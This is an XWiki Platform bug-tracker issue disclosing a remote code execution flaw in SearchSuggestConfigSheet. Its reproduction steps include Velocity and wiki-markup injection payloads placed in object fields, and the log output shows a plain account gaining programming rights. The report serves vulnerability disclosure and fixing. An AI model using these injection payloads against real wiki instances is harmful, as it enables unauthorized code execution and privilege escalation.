Uploaded image for project: 'XWiki Platform'
  1. XWiki Platform
  2. XWIKI-21473

Remote code execution from account via SearchSuggestConfigSheet

    XMLWordPrintable

Details

    • Unit
    • Unknown
    • N/A
    • N/A

    Description

      Steps to reproduce:

      1. Edit your user profile or any other page with the object editor.
      2. Add an object of type "Search Suggest Configuration"
      3. Add an object of type "SearchSuggestSourceClass" and set the following values:
        Name: $services.logging.getLogger("attacker").error("Hello from Name! I got programming: $services.security.authorization.hasAccess('programming')")
        Engine: 
        {{/html}}{{async}}{{velocity}}$services.logging.getLogger("attacker").error("Hello from Engine! I got programming: $services.security.authorization.hasAccess('programming')"){{/velocity}}{{/async}}

        Icon: $services.logging.getLogger("attacker").error("Hello from Icon! I got programming: $services.security.authorization.hasAccess('programming')")

      4. Save and view the page you've edited.

      Expected result:

      No error log messages appear, the search suggest source is normally displayed.

      Actual result:

      The display is broken and the following log messages appear in XWiki's log:

      2023-10-26 11:57:18,175 [qtp2134607032-13310 - http://localhost:1509/xwiki/bin/view/XWiki/username] ERROR attacker                       - Hello from Icon! I got programming: true 
2023-10-26 11:57:18,176 [qtp2134607032-13310 - http://localhost:1509/xwiki/bin/view/XWiki/username] ERROR attacker                       - Hello from Name! I got programming: true 
2023-10-26 11:57:18,192 [org.xwiki.rendering.async.internal.AsyncRendererJob@1f5f517c([async, macro, xwiki:XWiki.SearchSuggestConfigSheet, 9, author, xwiki:XWiki.superadmin, rendering.restricted, false, secureDocument, xwiki:XWiki.SearchSuggestConfigSheet, 401])] ERROR attacker                       - Hello from Engine! I got programming: true 
2023-10-26 11:57:18,192 [org.xwiki.rendering.async.internal.AsyncRendererJob@419b3704([async, macro, xwiki:XWiki.SearchSuggestConfigSheet, 25, author, xwiki:XWiki.superadmin, rendering.restricted, false, secureDocument, xwiki:XWiki.SearchSuggestConfigSheet, 402])] ERROR attacker                       - Hello from Engine! I got programming: true 
2023-10-26 11:57:18,192 [org.xwiki.rendering.async.internal.AsyncRendererJob@49416ca0([async, macro, xwiki:XWiki.SearchSuggestConfigSheet, 50, author, xwiki:XWiki.superadmin, rendering.restricted, false, secureDocument, xwiki:XWiki.SearchSuggestConfigSheet, 403])] ERROR attacker                       - Hello from Engine! I got programming: true 
2023-10-26 11:57:18,192 [org.xwiki.rendering.async.internal.AsyncRendererJob@4709f6cc([async, macro, xwiki:XWiki.SearchSuggestConfigSheet, 105, author, xwiki:XWiki.superadmin, rendering.restricted, false, secureDocument, xwiki:XWiki.SearchSuggestConfigSheet, 404])] ERROR attacker                       - Hello from Engine! I got programming: true

      This demonstrates an escalation from a simple account to programming rights. This code exists at least since XWIKI-14100 but might have existed before in another form.

      The vulnerable code is in SearchSuggestConfigSheet.

      Attachments

        Issue Links

          depends on

          New Feature - A new feature of the product, which has yet to be developed. XWIKI-21699 Add new API to help evaluate xobjects

          • Major - Major loss of function.
          • Closed
          links to

          Web Link Security Advisory

          Activity

            People

              pjeanjean Pierre Jeanjean
              MichaelHamann Michael Hamann
              Votes:
              0 Vote for this issue
              Watchers:
              1 Start watching this issue

              Dates

                Created:
                Updated:
                Resolved: